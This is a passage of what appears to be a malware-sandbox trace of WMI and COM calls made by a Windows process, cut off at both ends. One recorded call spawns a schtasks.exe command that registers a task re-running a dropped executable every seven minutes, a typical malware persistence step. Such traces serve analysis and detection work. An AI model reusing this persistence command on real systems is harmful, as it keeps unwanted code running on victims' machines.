puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0071.972] WbemDefPath:IWbemPath:SetClassName (This=0x1bea09b0, Name="Win32_Process") returned 0x0 [0071.972] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea09b0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0071.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea09b0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0071.973] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0071.973] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0071.973] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea09b0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0071.973] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea09b0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0071.973] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0071.973] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0071.973] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0cb0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0071.973] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0071.973] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0071.973] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0071.973] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0071.973] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0071.973] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0071.973] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0071.973] IUnknown:Release (This=0x111f638) returned 0x1 [0071.975] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x11e10a0) returned 0x0 [0071.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e10a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0071.975] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e10a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bea0830) returned 0x0 [0071.975] WbemDefPath:IUnknown:Release (This=0x11e10a0) returned 0x0 [0071.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bea0830) returned 0x0 [0071.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0071.975] WbemDefPath:IUnknown:AddRef (This=0x1bea0830) returned 0x3 [0071.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0071.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0071.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x11e1080) returned 0x0 [0071.975] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e1080, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0071.975] WbemDefPath:IUnknown:Release (This=0x11e1080) returned 0x3 [0071.975] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0071.976] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0071.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0071.976] WbemDefPath:IUnknown:Release (This=0x1bea0830) returned 0x2 [0071.976] WbemDefPath:IUnknown:Release (This=0x1bea0830) returned 0x1 [0071.976] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0071.976] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0071.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bea0830) returned 0x0 [0071.976] WbemDefPath:IUnknown:AddRef (This=0x1bea0830) returned 0x3 [0071.976] WbemDefPath:IUnknown:Release (This=0x1bea0830) returned 0x2 [0071.976] WbemDefPath:IWbemPath:SetText (This=0x1bea0830, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0071.976] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0cb0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0071.976] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0071.976] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0071.976] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0071.976] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0071.976] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0071.976] IUnknown:Release (This=0x111f638) returned 0x1 [0071.978] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11e1320) returned 0x0 [0071.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e1320, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0071.978] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e1320, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0770) returned 0x0 [0071.978] WbemDefPath:IUnknown:Release (This=0x11e1320) returned 0x0 [0071.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0770) returned 0x0 [0071.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0071.978] WbemDefPath:IUnknown:AddRef (This=0x1bea0770) returned 0x3 [0071.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0071.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0071.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11e12a0) returned 0x0 [0071.978] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e12a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0071.979] WbemDefPath:IUnknown:Release (This=0x11e12a0) returned 0x3 [0071.979] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0071.979] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0071.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0071.979] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x2 [0071.979] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x1 [0071.979] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0071.979] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0071.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0770) returned 0x0 [0071.979] WbemDefPath:IUnknown:AddRef (This=0x1bea0770) returned 0x3 [0071.979] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x2 [0071.979] WbemDefPath:IWbemPath:SetText (This=0x1bea0770, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0071.979] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0830, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0071.979] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0770, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0071.979] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0770, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0071.979] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0770, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0071.979] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea0830) returned 0x0 [0071.979] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0770, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0071.979] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0770, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0071.979] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0770, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0071.979] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea0830, uIndex=0x0, pszName="root") returned 0x0 [0071.979] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0770, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0071.979] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0770, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0071.979] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea0830, uIndex=0x1, pszName="cimv2") returned 0x0 [0071.979] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0770, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0071.979] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0770, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0830, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0830, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0830, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0cb0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0cb0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0830, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0830, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0830, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0830, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0071.980] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0830, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0071.980] IWbemServices:GetObject (in: This=0x1bed3350, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11e98b0, ppCallResult=0x0) returned 0x0 [0071.983] IWbemClassObject:GetMethod (in: This=0x11e98b0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11e9c20, ppOutSignature=0x1b2fd9e0*=0x11e9f90) returned 0x0 [0071.983] IWbemClassObject:SpawnInstance (in: This=0x11e9c20, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf1ba70) returned 0x0 [0071.984] IWbemClassObject:Get (in: This=0x1bf1ba70, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b7508*=0, plFlavor=0x29b750c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b7508*=8, plFlavor=0x29b750c*=32) returned 0x0 [0071.984] IWbemClassObject:Get (in: This=0x1bf1ba70, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b7508*=8, plFlavor=0x29b750c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b7508*=8, plFlavor=0x29b750c*=32) returned 0x0 [0071.984] IWbemClassObject:Put (This=0x1bf1ba70, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"countryyouc\" /sc MINUTE /mo 7 /tr \"'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0071.984] IWbemClassObject:Get (in: This=0x1bf1ba70, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b7598*=0, plFlavor=0x29b759c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b7598*=13, plFlavor=0x29b759c*=32) returned 0x0 [0071.985] IWbemClassObject:Get (in: This=0x1bf1ba70, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b7598*=13, plFlavor=0x29b759c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b7598*=13, plFlavor=0x29b759c*=32) returned 0x0 [0071.985] IUnknown:QueryInterface (in: This=0x11e91d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11e91d0) returned 0x0 [0071.985] IUnknown:QueryInterface (in: This=0x11e91d0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0071.985] IUnknown:QueryInterface (in: This=0x11e91d0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0071.985] IUnknown:AddRef (This=0x11e91d0) returned 0x3 [0071.985] IUnknown:QueryInterface (in: This=0x11e91d0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0071.985] IUnknown:QueryInterface (in: This=0x11e91d0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0071.985] IUnknown:QueryInterface (in: This=0x11e91d0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11e91d8) returned 0x0 [0071.985] IMarshal:GetUnmarshalClass (in: This=0x11e91d8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, 